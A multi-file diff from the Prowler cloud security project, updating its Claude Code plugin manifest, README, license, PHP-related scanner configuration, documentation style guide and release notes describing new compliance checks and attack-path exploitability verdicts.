{ url = "https://files.pythonhosted.org/packages/cb/c3/72b4938cdbe619ad71ac156182faef4908846b84dc3ca4dbb4c4e6f84014/yarl-1.25.1-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:80e47012e730da131c9f059c80936783f9659aae22dc31c03c0595590d11ed54", size = 114174, upload-time = "2026-09-15T19:31:19.294Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e8/43/268717870f9ba0cc9701a95181587f6dc8c5f387aab4aeecc83158f38a79/yarl-1.25.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e80f557716fd765439577131e526b8942ffc2c07bdbc5e39fa62f660ba1e963f", size = 114944, upload-time = "2026-09-15T19:31:21.414Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/da/84/baa5bf504d51fe062c4bcaf62936da97fffb43285978d0b39984824231fd/yarl-1.25.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:f61964f235a43738bfac50da46fc4254943a7eea3051aeb0b6fc7c992c29fadc", size = 108263, upload-time = "2026-09-15T19:31:23.388Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a4/28/779a2ed9e0152a601a27039bed9aead3f0b79797a67e2c44bfa444622dd8/yarl-1.25.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:e546fe1d4a93ebc2910f0d768baff19faa09843ab3f2036a67ed6e69fae4419d", size = 122184, upload-time = "2026-09-15T19:31:25.343Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f8/1f/118e9e5b8f07694d63fd3222e801d7782270003f1a222aa798df3f8d5933/yarl-1.25.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:cce0727fd5ac04d372fa9bbfde9febc2bcf209aadfcf0468e45dec72719895d1", size = 114001, upload-time = "2026-09-15T19:31:27.465Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0f/ae/a4cf1cf372313734b17996d4007f9f73596e7a178b9485802e5494ecf484/yarl-1.25.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af4ea5b37403ef4e30f3927eaed540db942bde01d8d3ff083527c0704d1c9c68", size = 120565, upload-time = "2026-09-15T19:31:29.47Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/05/79/ad94f93ca731bc9e44d321833ab96b82a4f9f5f63cf773f81a4aeea5ecc1/yarl-1.25.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:68782fdb4027b8d1eee25ec35e9a6db05e863b899eb0310b3a33b6c3fef55707", size = 117060, upload-time = "2026-09-15T19:31:31.367Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bb/cc/51a7b4abf4ac593b8e7eb3794b28e5a35ae26eed8bc04787628d215af82f/yarl-1.25.1-cp312-cp312-win_amd64.whl", hash = "sha256:7d575b54cb3863ef9bc290ea4b009999d55dc237326131e4853cf33e888fee03", size = 102593, upload-time = "2026-09-15T19:31:33.329Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9d/21/0941a6b93a58b59a1ec75e5333bf06929b671309c43c0cd201c172d9c39f/yarl-1.25.1-cp312-cp312-win_arm64.whl", hash = "sha256:bc3ac7bf569f6b64dad04dd7808c7872dae8a97df657856eac05e9b7e3614a85", size = 97697, upload-time = "2026-09-15T19:31:35.855Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/54/22/318c7980066769c6bcd9221ed2248294f5698811da099013098c670565ed/yarl-1.25.1-py3-none-any.whl", hash = "sha256:681c758b0490f9e96b78e5fa8e8dc6e648e9185bb6eaebe73183c33ea0c445f3", size = 63617, upload-time = "2026-09-15T19:34:59.616Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
|
||||
@@ -1,22 +1,38 @@
|
||||
{
|
||||
"$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
|
||||
"name": "prowler",
|
||||
"displayName": "Prowler Cloud",
|
||||
"version": "0.1.0",
|
||||
"description": "Prowler for Claude Code — cloud security and compliance skills powered by the Prowler MCP server. Bundles compliance triage and remediation; more skills coming.",
|
||||
"description": "Connect Claude to Prowler Cloud through the Prowler MCP server. Reads providers, scans, findings, compliance results and resources for AWS, Azure, GCP, Kubernetes, Microsoft 365, GitHub and the other providers listed at https://registry.prowler.com, and returns remediation guidance for failed checks. Writes are limited to Prowler Cloud itself: triggering scans, finding triage, mute rules and the mutelist, providers and integrations. Your cloud resources are not changed by the connector.",
|
||||
"author": {
|
||||
"name": "Prowler",
|
||||
"email": "support@prowler.com",
|
||||
"url": "https://prowler.com"
|
||||
},
|
||||
"homepage": "https://docs.prowler.com",
|
||||
"homepage": "https://docs.prowler.com/user-guide/ai-agents",
|
||||
"repository": "https://github.com/prowler-cloud/prowler",
|
||||
"license": "Apache-2.0",
|
||||
"keywords": [
|
||||
"alibabacloud",
|
||||
"aws",
|
||||
"azure",
|
||||
"cloud-security",
|
||||
"cloudflare",
|
||||
"compliance",
|
||||
"gcp",
|
||||
"github",
|
||||
"huaweicloud",
|
||||
"iac",
|
||||
"kubernetes",
|
||||
"m365",
|
||||
"mcp",
|
||||
"mongodbatlas",
|
||||
"okta",
|
||||
"openstack",
|
||||
"oraclecloud",
|
||||
"prowler",
|
||||
"security",
|
||||
"compliance",
|
||||
"cloud-security",
|
||||
"mcp"
|
||||
"vercel"
|
||||
],
|
||||
"userConfig": {
|
||||
"api_key": {
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
{
|
||||
"prowler": {
|
||||
"type": "http",
|
||||
"url": "https://mcp.prowler.com/mcp",
|
||||
"headers": {
|
||||
"Authorization": "Bearer ${user_config.api_key}"
|
||||
"mcpServers": {
|
||||
"prowler": {
|
||||
"type": "http",
|
||||
"url": "https://mcp.prowler.com/mcp",
|
||||
"headers": {
|
||||
"Authorization": "Bearer ${user_config.api_key}"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright @ 2024 Toni de la Fuente
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,9 +1,17 @@
|
||||
# Prowler for Claude Code
|
||||
# Prowler Cloud
|
||||
|
||||
End-to-end cloud security and compliance from inside [Claude Code](https://www.claude.com/product/claude-code), powered by the [Prowler MCP server](https://docs.prowler.com/projects/prowler-mcp/). The plugin lets Claude walk a Prowler Cloud-connected account through a compliance assessment and remediate findings until the chosen security or industry framework is compliant.
|
||||
Cloud security and compliance in Claude, powered by the [Prowler MCP server](https://docs.prowler.com/projects/prowler-mcp/). Claude reads your Prowler Cloud providers, scans, findings and compliance results, returns Prowler's remediation guidance for each failed check, and manages triage and mute state. The connector never changes your cloud resources: any fix is applied with your own tools (Terraform, a cloud CLI or the console), and only after you approve it.
|
||||
|
||||
> **Preview**: this plugin is under active development. Report issues at <https://github.com/prowler-cloud/prowler/issues> or join the [Slack community](https://goto.prowler.com/slack).
|
||||
|
||||
## What it does
|
||||
|
||||
Prowler Cloud connects Claude to your cloud security posture. The bundled `framework-compliance-triage` skill checks that a provider account is connected to Prowler Cloud, reads the latest scan and compliance report for the framework you pick (CIS, PCI-DSS, NIST, Prowler ThreatScore and more), and then walks you through fixing each failed requirement. Every change is proposed first and applied only after you approve it.
|
||||
|
||||
## Supported providers
|
||||
|
||||
Any provider Prowler Cloud supports, including AWS, Azure, GCP, Kubernetes, Microsoft 365, GitHub, Google Workspace, Cloudflare, Oracle Cloud, Alibaba Cloud, Huawei Cloud, OpenStack, Linode, Scaleway, STACKIT, E2E Networks, NHN Cloud, MongoDB Atlas, Okta, Vercel, VCF, Infrastructure as Code, container images and LLMs. The full, growing list lives in the [Prowler Registry](https://registry.prowler.com/providers). Prowler also supports custom providers, so you can add your own and use them with this plugin.
|
||||
|
||||
## Requirements
|
||||
|
||||
- [Claude Code](https://www.claude.com/product/claude-code) installed and signed in.
|
||||
@@ -12,6 +20,8 @@ End-to-end cloud security and compliance from inside [Claude Code](https://www.c
|
||||
|
||||
## Installation
|
||||
|
||||
From the Claude directory, open **Customize > Plugins > Discover**, search for **Prowler Cloud** and select **Add**. In Claude Code you can also install it from the command line:
|
||||
|
||||
Inside a Claude Code session:
|
||||
|
||||
```text
|
||||
@@ -58,6 +68,10 @@ You pick a **primary tool** (Terraform, gh / az / aws CLI, web console, or mixed
|
||||
|
||||
Claude tracks progress in a markdown report under `.prowler/` at your project root — one file per framework × account. Open it any time to see exactly where the flow is. When all findings are addressed, Claude proposes a fresh Prowler scan to verify everything end-to-end.
|
||||
|
||||
## Data and privacy
|
||||
|
||||
The plugin stores nothing itself. It connects to the Prowler MCP server at `https://mcp.prowler.com/mcp`, authenticating with the API key you provide (kept in your system keychain and sent only as a bearer token to that server). Through it, Claude reads your Prowler Cloud providers, scans, findings, compliance results and resource metadata. It can also write to Prowler Cloud: trigger scans, set finding triage, create mute rules, replace the mutelist, and add or remove providers and integrations. Mutes and deletions are marked as destructive, so your client can ask before running them. It also queries the public Prowler Hub and Prowler documentation. The remediation report is written locally under `.prowler/` in your project. Nothing is sent to any other service. See the [Prowler privacy policy](https://prowler.com/privacy-policy) for how Prowler Cloud handles account data.
|
||||
|
||||
## Uninstalling
|
||||
|
||||
```text
|
||||
@@ -77,4 +91,4 @@ The stored API key is removed automatically.
|
||||
|
||||
## License
|
||||
|
||||
Apache 2.0 — see [LICENSE](../../LICENSE).
|
||||
Apache 2.0 — see [LICENSE](LICENSE).
|
||||
@@ -164,6 +164,28 @@ mainConfig:
|
||||
# aws.appstream_fleet_maximum_session_duration
|
||||
max_session_duration_seconds: 36000 # 10 Hours
|
||||
|
||||
# AWS Elastic Beanstalk Configuration
|
||||
# aws.elasticbeanstalk_environment_php_platform_updated
|
||||
# Oldest PHP branch still receiving security fixes
|
||||
elasticbeanstalk_php_min_branch: "8.2"
|
||||
# Oldest Amazon Linux 2023 PHP platform version bundling the fixed PHP release
|
||||
elasticbeanstalk_php_min_platform_version: "4.13.13"
|
||||
|
||||
# AWS Lightsail Configuration
|
||||
# aws.lightsail_instance_php_blueprint_updated
|
||||
# Blueprint id prefixes that ship PHP and require manual runtime verification
|
||||
lightsail_php_blueprints:
|
||||
[
|
||||
"wordpress",
|
||||
"lamp",
|
||||
"nginx",
|
||||
"drupal",
|
||||
"joomla",
|
||||
"magento",
|
||||
"prestashop",
|
||||
"plesk",
|
||||
"cpanel",
|
||||
]
|
||||
# AWS Lambda Configuration
|
||||
# aws.awslambda_function_using_supported_runtimes
|
||||
obsolete_lambda_runtimes:
|
||||
@@ -501,8 +523,9 @@ mainConfig:
|
||||
shodan_api_key: null
|
||||
|
||||
# Azure App Service
|
||||
# Minimum runtime versions; any newer version passes
|
||||
# azure.app_ensure_php_version_is_latest
|
||||
php_latest_version: "8.2"
|
||||
php_latest_version: "8.5"
|
||||
# azure.app_ensure_python_version_is_latest
|
||||
python_latest_version: "3.12"
|
||||
# azure.app_ensure_java_version_is_latest
|
||||
|
||||
+3
-1
@@ -80,6 +80,8 @@ Prowler Features are considered proper nouns. They are to be referenced without
|
||||
|
||||
Prowler ships two product families. Use these names exactly; the former names Prowler App (now Prowler Local Server) and Prowler Enterprise (now Prowler Private Cloud) must not appear in new writing. The only allowed former-name notes are on the Prowler Product Families page (`getting-started/products/index.mdx`) and in the site-wide banner, which document the mapping.
|
||||
|
||||
Web UI guides are written for Prowler Cloud. Steps that open the application link to `https://cloud.prowler.com/sign-in`, and the scope is stated once at the top of the section with the AppliesTo banner (see [AppliesTo Banner for Product Scope](#appliesto-banner-for-product-scope)). Do not offer Prowler Local Server as an inline alternative in a step list ("Go to Prowler Cloud or launch Prowler Local Server"). Mention Prowler Local Server inline only where its behavior differs, for example a feature that is not available or an environment variable that must be set.
|
||||
|
||||
Prowler Products:
|
||||
|
||||
* **Prowler Cloud**
|
||||
@@ -573,7 +575,7 @@ The default covers Prowler Cloud, Prowler Private Cloud, and Prowler Local Serve
|
||||
<AppliesTo products={["Prowler Cloud", "Prowler Private Cloud"]} />
|
||||
```
|
||||
|
||||
Place it on its own line below the Version Badge when one is present, otherwise directly after the imports.
|
||||
Place it on its own line below the Version Badge when one is present, otherwise directly after the imports. On a page that also covers Prowler CLI, such as the provider getting-started guides, place it under the `## Prowler Cloud` heading instead, so it scopes only the web UI section.
|
||||
|
||||
### Cloud Marker for Subscription Content
|
||||
|
||||
|
||||
@@ -4,6 +4,149 @@ description: "New features and improvements in each Prowler release"
|
||||
rss: true
|
||||
---
|
||||
|
||||
<Update label="v5.47.0" description="October 29, 2026">
|
||||
### 🧭 Add Provider — One Step to Connect Any Provider
|
||||
|
||||
The add-provider wizard follows the same model for every provider: one connect step, then the launch step. Adding an Azure subscription used to take six screens; now the account, its alias and its credentials are one form, and a single submit registers the account, stores the secret and tests the connection.
|
||||
|
||||
- A failed connection test shows inline, keeps the values and turns the action into **Retry connection** without registering the account twice.
|
||||
- Access methods show as cards on the same step for AWS, GCP, Microsoft 365, GitHub, Alibaba Cloud and Cloudflare, and AWS, Azure and GCP switch to their organization flow through tabs.
|
||||
- Users with the Manage Account permission can invite a teammate to finish the connection for every provider, not only AWS.
|
||||
- **Ask Lighthouse AI** opens beside the wizard without closing it. It guides the connection from the Prowler docs by default and, when asked, connects the provider itself after confirming the provider, UID and credential field names, never echoing a secret back.
|
||||
- Product tours and the guided onboarding sequence are removed; new tenants still land on the add-provider wizard.
|
||||
|
||||
### 🎯 Issues — Verdicts Explained in the List
|
||||
|
||||
<Note>
|
||||
This feature is available exclusively in **Prowler Cloud** and **Prowler Private Cloud** with a [subscription](https://prowler.com/pricing).
|
||||
</Note>
|
||||
|
||||
- The issue list leads with the verdict, shows the attack path under each title and adds a **Why** column with the five evidence legs, so the reason for a verdict reads without opening the issue. The summary tiles become one line with the folded findings and the findings already covered by a control.
|
||||
- A row opens in the side panel, next to Lighthouse AI, with the verdict, legs, remediation, triage and an **Attack path** tab with the issue graph, instead of expanding the issue inline.
|
||||
- The menu entry is renamed to **Exploitability issues**.
|
||||
|
||||
### ☁️ Azure and AWS Checks
|
||||
|
||||
- `network_application_gateway_waf_enabled` and `network_application_gateway_http2_enabled` cover Azure Application Gateways and their WAF policies, mapped to CIS 5.0 and 6.0. Contributed by @BabafemiB. Thank you!
|
||||
- `iam_subscription_owners_between_2_and_3` verifies that each Azure subscription has between two and three Owners, counting owners inherited from management groups, mapped to CIS 5.0 and 6.0. Contributed by @BabafemiB. Thank you!
|
||||
- The AWS security group internet exposure checks treat CIDRs in one ingress rule that together cover `0.0.0.0/0` or `::/0`, such as `0.0.0.0/1` plus `128.0.0.0/1`, as open to the internet; such a rule used to pass `ec2_securitygroup_allow_ingress_from_internet_to_tcp_port_22` and its siblings. Contributed by @harshrajdebug. Thank you!
|
||||
|
||||
Explore all checks at [Prowler Hub](https://hub.prowler.com/check).
|
||||
|
||||
### 🛠️ Improvements and Fixes
|
||||
|
||||
- Every MCP Server tool declares `readOnlyHint` and `destructiveHint`, so clients can tell a listing from a write when deciding whether to ask the user. Mutelist and mute rule writes are marked destructive because they hide findings for good.
|
||||
- The cross-provider compliance tab keeps the frameworks that loaded, with a warning, when one catalog page or framework fails, instead of going blank.
|
||||
- The NATO D32 compliance framework has its own icon on the compliance cards.
|
||||
- Lighthouse AI replies no longer blink when the response finishes streaming, and the user avatar no longer requests the current page as an image, which rendered every page twice.
|
||||
- The Invitations page uses **Status** instead of **State**, and the Invitations and Roles filters show capitalized options.
|
||||
- **Prowler Cloud:** actions refused because the tenant is over its plan's usage limit, such as launching a scan, saving a schedule, adding a provider or triaging a finding, now link to the plans page.
|
||||
- **Prowler Cloud:** creating API keys is a Prowler Cloud feature; on Local Server the button opens the upgrade dialog, and existing keys can still be edited and revoked.
|
||||
- **Prowler Cloud:** issue evaluation after a scan reads the scan's findings through their indexes instead of a server-side cursor that took hours on large scans, so the evaluations no longer queue up behind each other.
|
||||
- **Prowler Private Cloud:** Lighthouse AI can use Amazon Bedrock with only a region, relying on the installation's own AWS role, when the API allows it.
|
||||
|
||||
### 🔐 Security Updates
|
||||
|
||||
- `pymongo` upgraded to 4.18.3, `dnspython` to 2.9.0 and `oauthlib` to 4.0.0 in the SDK and the API container image, patching the BSON decoding and DNS compression pointer denial of service advisories and the OAuth device flow token disclosure. The API also moves `django-allauth` to 65.19.7, since earlier releases cap `oauthlib` below 4.
|
||||
- `Authlib` upgraded to 1.9.1 and `dnspython` to 2.9.0 in the MCP Server container image, patching CVE-2026-96760 (critical), CVE-2026-114615, CVE-2026-114616 and CVE-2026-114605.
|
||||
|
||||
### 🙌 External Contributors
|
||||
|
||||
Thank you to our community contributors for this release!
|
||||
|
||||
- @BabafemiB: Azure `network_application_gateway_waf_enabled`, `network_application_gateway_http2_enabled` and `iam_subscription_owners_between_2_and_3` checks ([#13160](https://github.com/prowler-cloud/prowler/pull/13160), [#13145](https://github.com/prowler-cloud/prowler/pull/13145))
|
||||
- @harshrajdebug: AWS security group internet exposure fix for split CIDRs ([#13191](https://github.com/prowler-cloud/prowler/pull/13191))
|
||||
|
||||
See the [full release notes on GitHub](https://github.com/prowler-cloud/prowler/releases/tag/5.47.0) for the complete list of changes.
|
||||
</Update>
|
||||
|
||||
<Update label="v5.46.0" description="October 26, 2026">
|
||||
### 🎯 Issues — Attack Paths with an Exploitability Verdict
|
||||
|
||||
<Note>
|
||||
This feature is available exclusively in **Prowler Cloud** and **Prowler Private Cloud** with a [subscription](https://prowler.com/pricing).
|
||||
</Note>
|
||||
|
||||
A scan returns a list of failed checks, and most of them are one problem seen from several angles. The new **Issues** page folds the failed findings of each account into attack paths and gives each one a verdict: `exploitable`, `likely`, `conditional`, `not_exploitable` or `unknown`. The verdict is drawn from five legs of evidence (reachability, access, target, controls and verification), each naming the checks and resources it was read from, so a reader can disagree with it instead of having to trust it. A control in force moves a verdict one rung down and the issue says which control did it; a check that did not run reads as `unknown`, never as safe.
|
||||
|
||||
- Patterns cover AWS, Azure, GCP and Microsoft 365 and are keyed on Prowler check IDs, so detection is never reimplemented. Six more AWS paths ship in this release: Lambda functions anyone can invoke, snapshots shared with every AWS account, instances that can leak their role's credentials, database ports open to the internet, stale or weakly protected IAM user credentials, and roles another AWS account can use.
|
||||
- Each issue says what the path buys an attacker and where the attacker has to start, lists the compliance frameworks its findings put at risk, and can be sent to Jira as one grouped ticket.
|
||||
- An attack path can be triaged with a status and notes from its detail. The decision is kept per account and pattern, so it survives the next scan, which marks it resolved when the path is gone and reopened when it comes back.
|
||||
- The issue list opens with summary tiles and names the account of each issue, so two accounts with the same misconfiguration no longer read as one row. Each issue shows its risk factors, the triage status of every folded finding and an issue graph that starts internet-facing paths at the Internet node, drawn only where a reachability check failed on the resource, and has a page of its own to share.
|
||||
- The Overview shows a verdict share card and the top issues with their risk factors, with counts scoped to the latest completed scan of each provider.
|
||||
- **API:** `GET /api/v1/issues`, `GET /api/v1/issues/{id}` and `GET /api/v1/issues/overview`, with `filter[outcome__in]`, `filter[attacker_start__in]` and `filter[triage_status__in]`; triage lives at `/api/v1/issues/{id}/triage` and `/api/v1/issues/{id}/triage/notes`.
|
||||
|
||||
### 🐘 PHP — Coverage After the October Security Release
|
||||
|
||||
The PHP project shipped an emergency release on October 21 fixing two unauthenticated remote code execution flaws (CVE-2026-109618, CVE-2026-109619), with no fix for 8.1 and older branches. Four new checks cover how each cloud exposes the runtime, and the Azure runtime checks no longer fail every version newer than the configured one.
|
||||
|
||||
- **AWS:** `elasticbeanstalk_environment_php_platform_updated` flags PHP environments on branches without security fixes or on platform versions older than the one bundling the fixed release, `lightsail_instance_php_blueprint_updated` reports instances created from PHP blueprints for manual verification, and `wafv2_webacl_managed_rule_groups_enabled` verifies that a Web ACL references at least one managed rule group.
|
||||
- **GCP:** new `appengine` service and `appengine_version_php_runtime_supported` check, flagging App Engine serving versions on PHP runtimes without security fixes.
|
||||
- **Azure:** `app_ensure_php_version_is_latest`, `app_ensure_python_version_is_latest` and `app_ensure_java_version_is_latest` now pass any runtime at or above the configured minimum, and the default `php_latest_version` is raised from `8.2` to `8.5` in the SDK and in the scan configuration template of Prowler App.
|
||||
|
||||
The version thresholds are configurable; see the [configuration file documentation](https://docs.prowler.com/user-guide/cli/tutorials/configuration_file).
|
||||
|
||||
### 🧠 GCP — Vertex AI Workbench Coverage
|
||||
|
||||
A new Vertex AI service audits Workbench instances with five checks, all contributed by @rajeshnadiminti. Thank you!
|
||||
|
||||
- `vertexai_workbench_instance_public_ip_disabled` and `vertexai_workbench_instance_root_access_disabled`, mapped to PCI DSS 4.0.
|
||||
- `vertexai_workbench_instance_terminal_access_disabled`, `vertexai_workbench_instance_file_download_disabled` and `vertexai_workbench_instance_auto_upgrade_enabled`, with the Workbench checks mapped to the CCC MLDE requirements.
|
||||
|
||||
### 🤖 AWS — Bedrock and Cognito Checks
|
||||
|
||||
- `bedrock_guardrail_sensitive_information_filter_enforced` flags guardrails whose PII entities or custom regexes take no action on the output path, so a detected match is reported in the trace and still delivered to the caller. Contributed by @tamg-aws. Thank you!
|
||||
- `bedrock_model_invocation_logging_text_data_enabled` verifies that model invocation logging delivers prompt and response text rather than naming a destination while excluding request and response bodies. Contributed by @tamg-aws. Thank you!
|
||||
